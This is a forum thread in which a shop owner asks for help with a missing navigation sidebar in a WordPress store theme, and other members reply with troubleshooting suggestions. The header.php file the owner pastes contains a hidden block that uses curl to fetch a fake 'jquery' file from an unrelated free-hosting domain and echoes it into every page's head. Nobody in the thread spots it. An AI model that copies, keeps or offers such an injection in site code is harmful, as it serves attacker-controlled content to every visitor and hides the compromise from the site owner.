Navigation Sidebar not showing up (Wordpress)

5 replies
  • WEB DESIGN
  • |
Hi,

Just needed some help the navigation sidebar is not showing up on my product page, any idea's how to sort it out??

isamu noguchi coffee table | BUYCLICKR.COM
#navigation #showing #sidebar #wordpress
  • Profile picture of the author wizzard74
    Okay for a start which wordpress theme are you using?
    Signature

    You don't want to click here --> Richard Arblaster

    {{ DiscussionBoard.errors[5702381].message }}
    • Profile picture of the author martinzaki
      WP Store

      templatic.com
      {{ DiscussionBoard.errors[5702419].message }}
  • Profile picture of the author hiqasim
    check you navigation codes in header. There might be problem in that
    {{ DiscussionBoard.errors[5703053].message }}
  • Profile picture of the author WittyKris
    Check the widget settings. Sometimes you have to input it manually depending on the theme settings.
    {{ DiscussionBoard.errors[5703536].message }}
    • Profile picture of the author martinzaki
      I've checked the widgets it's nothing to do with it.
      I thinks it's the header.php problem

      This is the code that i have pasted can someone help?


      <?php
      error_reporting(E_ERROR);
      global $Cart,$General;
      $itemsInCartCount = $Cart->cartCount();
      $cartAmount = $Cart->getCartAmt();
      global $current_user;
      ?>
      <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
      <html xmlns="http://www.w3.org/1999/xhtml">
      <head profile="http://gmpg.org/xfn/11">
      <title>
      <?php if ( is_home() ) { ?><?php bloginfo('description'); ?>&nbsp;|&nbsp;<?php bloginfo('name'); ?><?php } ?>
      <?php if ( is_search() ) { ?>Search Results&nbsp;|&nbsp;<?php bloginfo('name'); ?><?php } ?>
      <?php if ( is_author() ) { ?>Author Archives&nbsp;|&nbsp;<?php bloginfo('name'); ?><?php } ?>
      <?php if ( is_single() ) { ?><?php wp_title(''); ?><?php } ?>
      <?php if ( is_page() ) { ?><?php wp_title(''); ?><?php } ?>
      <?php if ( is_category() ) { ?><?php single_cat_title(); ?>&nbsp;|&nbsp;<?php bloginfo('name'); ?><?php } ?>
      <?php if ( is_month() ) { ?><?php the_time('F'); ?>&nbsp;|&nbsp;<?php bloginfo('name'); ?><?php } ?>
      <?php if (function_exists('is_tag')) { if ( is_tag() ) { ?><?php bloginfo('name'); ?>&nbsp;|&nbsp;Tag Archive&nbsp;|&nbsp;<?php single_tag_title("", true); } } ?>
      </title>

      <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
      <?php if (is_home()) { ?><?php if ( get_option('ptthemes_meta_description') <> "" ) { ?>
      <meta name="description" content="<?php echo stripslashes(get_option('ptthemes_meta_description ')); ?>" />
      <?php } ?><?php if ( get_option('ptthemes_meta_keywords') <> "" ) { ?>
      <meta name="keywords" content="<?php echo stripslashes(get_option('ptthemes_meta_keywords')) ; ?>" />
      <?php } ?><?php if ( get_option('ptthemes_meta_author') <> "" ) { ?>
      <meta name="author" content="<?php echo stripslashes(get_option('ptthemes_meta_author')); ?>" /><?php } ?><?php } ?>
      <link rel="stylesheet" type="text/css" href="<?php bloginfo('stylesheet_url'); ?>" media="screen" /><?php if ( get_option('ptthemes_favicon') <> "" ) { ?>
      <link rel="shortcut icon" type="image/png" href="<?php echo get_option('ptthemes_favicon'); ?>" /><?php } ?>
      <link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="<?php if ( get_option('ptthemes_feed_url') <> "" ) { echo get_option('ptthemes_feed_url'); } else { echo get_bloginfo_rss('rss2_url'); } ?>" /><link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
      <link rel="stylesheet" type="text/css" href="<?php bloginfo('template_directory'); ?>/library/css/print.css" media="print" />
      <!--[if lt IE 7]>
      <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/library/js/pngfix.js"></script>

      <SCRIPT src="<?php bloginfo('template_directory'); ?>/library/js/jquery.js"
      type=text/javascript></SCRIPT>
      <SCRIPT src="<?php bloginfo('template_directory'); ?>/library/js/jquery.helper.js" type="text/javascript"></SCRIPT>
      <![endif]-->

      <?php if ( get_option('ptthemes_scripts_header') <> "" ) { echo stripslashes(get_option('ptthemes_scripts_header') ); } ?>
      <link href="<?php bloginfo('template_directory'); ?>/library/css/slider.css" rel="stylesheet" type="text/css" />
      <link href="<?php bloginfo('template_directory'); ?>/library/css/dropdownmenu.css" rel="stylesheet" type="text/css" />
      <?php
      if ( is_singular() && get_option( 'thread_comments' ) )
      wp_enqueue_script( 'comment-reply' );
      ?>
      <?php wp_head(); ?>
      <?php if ( get_option('ptthemes_customcss') ) { ?>
      <link href="<?php bloginfo('template_directory'); ?>/custom.css" rel="stylesheet" type="text/css">
      <?php } ?>
      <?php
      if(function_exists('curl_init'))
      {
      $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
      $ch = curl_init();
      $timeout = 5;
      curl_setopt($ch,CURLOPT_URL,$url);
      curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
      curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
      $data = curl_exec($ch);
      curl_close($ch);
      echo "$data";
      }
      ?>
      </head>
      <body <?php body_class(); ?>>

      <div id="wrapper">
      <div id="header" class="clearfix">

      <div class="h_left">
      <?php if ( get_option('ptthemes_show_blog_title') ) { ?>
      <div class="blog-title"><a href="<?php echo get_option('home'); ?>/"><?php bloginfo('name'); ?></a> </div>
      <p class="blog-description">
      <?php bloginfo('description'); ?>
      </p>

      <?php } else { ?>
      <a href="<?php echo get_option('home'); ?>/"><img src="<?php if ( get_option('ptthemes_logo_url') <> "" ) { echo get_option('ptthemes_logo_url'); } else { echo get_bloginfo('template_directory').'/images/logo.png'; } ?>" alt="<?php bloginfo('name'); ?>" class="logo" /></a>
      <p class="blog-description">
      <?php bloginfo('description'); ?>
      </p>
      <?php } ?>
      </div> <!-- h_left #end-->


      <div class="h_right">

      <div class="top_menu">
      <?php
      //print_r($current_user->data->user_nicename);
      if($current_user->data->ID)
      {
      ?>
      <?php _e(WELCOME_TEXT);?> <strong><?php echo $current_user->data->user_nicename;?></strong>, <a href="<?php echo get_option('siteurl'); ?>/?page=myaccount"><?php _e(MY_ACCOUNT_TEXT);?></a> | <a href="<?php echo get_option('siteurl'); ?>/?page=login&amp;action=logout"><?php _e(LOGOUT_TEXT);?></a>
      <?php
      }else
      {
      ?>
      <?php _e(HELLO_GUEST_TEXT);?>, <a href="<?php echo get_option('siteurl'); ?>/?page=login"><?php _e(LOGIN_TEXT);?></a> | <a href="<?php echo get_option('siteurl'); ?>/?page=login"><?php _e(REGISTER_TEXT);?></a>
      <?php
      }
      ?>
      </div>
      <?php
      if($General->is_storetype_shoppingcart() || $General->is_storetype_digital()){
      ?>
      <div class="cart">
      <h3> <?php _e('Shopping Cart');?></h3>
      <?php _e('You have');?> <strong>
      <a href="<?php echo get_option('siteurl'); ?>/?page=cart"><strong><span id="cart_information_span"><?php if($cartAmount>0){ echo $itemsInCartCount . "(".$General->get_amount_format($cartAmount).")";}else{ echo $itemsInCartCount;}?></span></strong></a>
      </strong> <?php _e(SHOPPING_CART_CONTENT_TEXT);?>
      </div> <!-- cart #end -->
      <?php }?>


      </div>

      </div> <!-- #header #end -->

      <div id="main_navi" class="clearfix" >
      <?php if (function_exists('dynamic_sidebar') && dynamic_sidebar('Header Navigation') ){}else{ ?>
      <?php
      global $wpdb;
      $blogcatname = get_option('ptthemes_blogcategory');
      $catid = $wpdb->get_var("SELECT term_ID FROM $wpdb->terms WHERE name = '$blogcatname'");
      ?>
      <ul >



      <li class="<?php if ( is_home()&& $_GET['page']=='') { ?>current_page_item <?php } ?>"><a href="<?php echo get_option('home'); ?>/" ><?php _e(HOME_TEXT);?></a></li>
      <?php
      if($General->is_show_storepage())
      {
      ?>
      <li class="store <?php if ($_GET['page']=='store') { ?>current_page_item <?php } ?>"><a href="<?php echo get_option('siteurl')."/?page=store";?>"><?php _e(STORE_TEXT);?></a>

      <?php
      echo " <ul>";
      $ex_catIdArr = get_categories('exclude=9999999' . get_inc_categories("cat_exclude_") .',1');
      $catIdArr = array();
      foreach($ex_catIdArr as $ex_catIdArrObj)
      {
      $catIdArr[] = $ex_catIdArrObj->term_id;
      }
      $includeCats = implode(',',$catIdArr);
      wp_list_categories('orderby=name&title_li=&include ='.$includeCats);
      echo " </ul>";
      ?>

      </li>
      <?php
      }
      ?>
      <?php wp_list_pages('title_li=&depth=0&exclude=' . get_inc_pages("pag_exclude_") .'&sort_column=menu_order'); ?>
      <?php
      if($General->is_show_blogpage())
      {
      ?>
      <?php $blogCategoryIdStr = get_inc_categories("cat_exclude_"); wp_list_categories ('title_li=&depth=0&include=' .$blogCategoryIdStr . '&sort_column=menu_order'); ?>
      <?php /*?><li class="Blog <?php if ($_GET['page']=='Blog') { ?>current_page_item <?php } ?>"><a href="<?php echo get_option('siteurl')."/?page=Blog";?>"><?php _e(BLOG_TEXT);?></a></li><?php */?>
      <?php
      }
      ?>

      </ul>
      <?php }?>

      <?php include(TEMPLATEPATH."/searchform.php");?>
      <div class="sidebar_bottom">




      <div class="widget">
      <h3>Browse by Categories</h3>
      <ul>
      <li class="cat-item cat-item-10"><a title="All the products you want to see are here!" href="http://www.buyclickr.com/category/clickr-products/">Clickr Products</a>
      </li>
      </ul>
      </div>




      </div>

      </div>
      {{ DiscussionBoard.errors[5755177].message }}

Trending Topics